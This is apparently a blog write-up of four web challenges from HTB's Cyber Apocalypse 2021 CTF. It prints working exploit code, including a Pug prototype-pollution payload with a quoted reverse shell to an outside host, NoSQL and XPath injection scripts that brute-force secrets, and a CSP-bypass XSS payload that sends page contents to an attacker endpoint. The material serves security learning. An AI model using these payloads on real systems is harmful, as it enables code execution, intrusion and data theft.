HTB Cyber Apocalypse (2021) Writeup for Web Challenges

Cyber Apocalypse 2021 was a great CTF hosted by HTB. Super fun challenges, thank you organizers!

This post covers a handful of web challenges: BlitzProp, Wild Goose Hunt, E.Tree, and The Galactic Times.

BlitzProp

The challenge prompt is:

A tribute page for the legendary alien band called BlitzProp!

If we start the Docker container and visit the page, we see a simple webform (with cool styling):

We also get source code for the app, built on Express and using Pug for its rendering. Notably, this part of routes/index.js handles our form submission:

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

If we include a Blitzpop song, then we get a nice response back. The important part in this code is unflatten.

HTB had a similar challenge called Gunship, which used the same unflatten idea but with Handlebars instead of Pug. That blog post links to a more comprehensive post about prototype polution in template engines.

The code they provide as an example is:

import requests

TARGET_URL = 'http://p6.is:3000'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
    "__proto__.block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
})

# execute
requests.get(TARGET_URL)

We need to update this to point at our endpoint, and include the song.name variable as expected. I also updated the output command to cat the flag, and write it to a new file in the static/ directory, which then gets read in the next request.

import requests

# TARGET_URL = 'http://localhost:1337'
TARGET_URL = '<your ip here>'

r = requests.post(TARGET_URL + '/api/submit', json = {
    "song.name":"The Galactic Rhymes",
    "__proto__.block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').execSync(`cat flag* > /app/static/out`)"
    }
})

print(r.status_code)
print(r.text)

print(requests.get(TARGET_URL+'/static/out').text)

This gives us the flag (CHTB{p0llute_with_styl3})

Wild Goose Hunt

We get the source code for this one. We see that the package.json file includes mongoose. We can see in index.js that we are in fact working with a mongoDB database.

The provided Dockerfile shows us that the database (using the model defined in models/User.js) is populated with user admin and a password that is the flag:

mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'

Since it’s a mongoDB database, my first thought is a NoSQL injection. Our normal payload is:

payload='{"username": "admin", "password": "our_guess_here"}

Because (some) MongoDB instances are vulnerable to NoSQL injection, we can replace the password portion with a query that matches the start of the password.

payload='{"username": "admin", "password": {"$regex": "^%s" }}

We’ll iterate through ascii characters until we find the first letter. Although based on the flag format, we already know the start will be “CHTB{". Once we get the first matching letter, we’ll tack on another one, and continue on in this manner until we get the full flag:

import requests
import string
import urllib3
import urllib

urllib3.disable_warnings()

username="admin"
password=""
u="<ip>/api/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": "admin", "password": {"$regex": "^%s" }}' % (password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'Successful' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

It takes a while, but we finally get the flag, which is: CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}.

E.Tree

The web interface allows us to query for a military member, and if they are in the xml file, we get a message back that the personnel exists. Otherwise, we get a message that they don’t exist.

This challenge provided an xml file that hinted at two portions of the flag:

The attack here is XPath injection. While I used a couple different blog posts, this guide was my main reference point. This line in particular is applicable to us:

'or contains(name,'adm') or' #Select first account having "adm" in the name

Their example xml file uses a <name> tag, but the tag we want to read is selfDestructCode. We also need to switch out adm for CHTB{.

'or contains(selfDestructCode,'CHTB{') or' #Select first account having "adm" in the name

I found the “exists” message by using another method of xpath injection so I knew what message to match on:

Similar to the previous question, the idea here is to iterate through the flag one character at a time. If the real flag matches our partial attempt at the flag, we’ll get a vague message that the military personnel does exist.

Putting that all together, our script is:

import requests
import string
import urllib3
import urllib

urllib3.disable_warnings()

password="'or contains(selfDestructCode,'CHTB{"
u="<IP>/api/search"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','\'']:
            payload='{"search": "%s"}' % (password + c + "') or'")
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'This millitary staff member exists' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

This ends up only giving us a partial match, because the flag is split into two spots. The first half is CHTB{Th3_3xTr4_l3v3l_.

To get the other half, we’ll start with a “}” since we know the flag ends with that, and then work our way backwards:

start = "'or contains(selfDestructCode,'"
secondHalf = ""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','\'']:
            payload='{"search": "%s"}' % (start + c + secondHalf+ "}') or'")
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'This millitary staff member exists' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (c + secondHalf + "}"))
                secondHalf = c + secondHalf

The second half is 4Cc3s$_c0nTr0l}, giving us a full flag of CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}.

The Galactic Times

The design of this one was amazing:

Based on the source code of this one, it’s pretty clear that this is a CSP-related challenge:

fastify.register(require('fastify-helmet'), {
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-eval'", "https://cdnjs.cloudflare.com/"],
            styleSrc: ["'self'", "'unsafe-inline'", "https://unpkg.com/nes.css/", "https://fonts.googleapis.com/"],
            fontSrc: ["'self'", "https://fonts.gstatic.com/"],
            imgSrc: ["'self'", "data:"],
            childSrc: ["'none'"],
            objectSrc: ["'none'"]
        }
    },

Notably, the scriptSrc unsafe-eval and https://cdnjs.cloudflare.com/.

We can go to the feedback page and provide our input.

Then the admin (bot.js) will view the page. They are able to view /alien (unlike us), and that page has our flag. So we need to find a way to get them to view /alien and then send the content of that page to an endpoint that we control.

I used a CSP payload based off of a previous CTF challenge. The idea is to import Angular libraries from the cdnjs.cloudflare.com, and then write Angular code to XSS the admin.

Because we get a lot of information back from admin.html, I grepped for the flag format with /(CHTB{.*})+/. Then, I forward the admin to my endpoint (using Pipedream).

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('/alien').then(s => s.text()).then(d => { var grep = d.match(/(CHTB{.*})+/)[0]; document.location='<endpoint>/?c='+grep})") }}
</div>

And our flag back is: CHTB{th3_wh1t3l1st3d_CND_str1k3s_b4ck} (although I think we can swap out whitelist for allowlist now…)

This was a great event, thank you to HTB and the organizers for putting it on!